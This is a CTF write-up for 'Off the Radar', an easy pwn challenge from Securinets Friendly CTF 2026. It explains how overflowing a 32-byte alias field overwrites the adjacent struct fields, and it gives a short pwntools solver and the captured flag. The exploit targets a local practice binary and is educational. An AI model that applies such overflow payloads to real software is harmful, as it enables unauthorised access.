archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

Off the Radar

Rockstar's new wanted system knows more than how many stars you have. CyberLeek is visible, identified, trapped inside the search area, and still carrying heat. Before the next build leaves Leonida, every trace has to disappear.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS100
overflow

Walkthrough

Solution

The program reads exactly 32 bytes into alias, but the adjacent fields are part of the same structure and are therefore controllable through one contiguous input. Fill the alias, write NONE over the four-byte stars field, and append three little-endian zero integers for visible, identified, and inside_area. Satisfying all four checks calls release_archive.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9011)

payload = b"CyberLeek".ljust(32, b"\x00")
payload += b"NONE"
payload += p32(0) * 3

p.sendafter(b"alias:\n", payload)
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{https://x.com/veloraJade/status/2094329801213649330}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS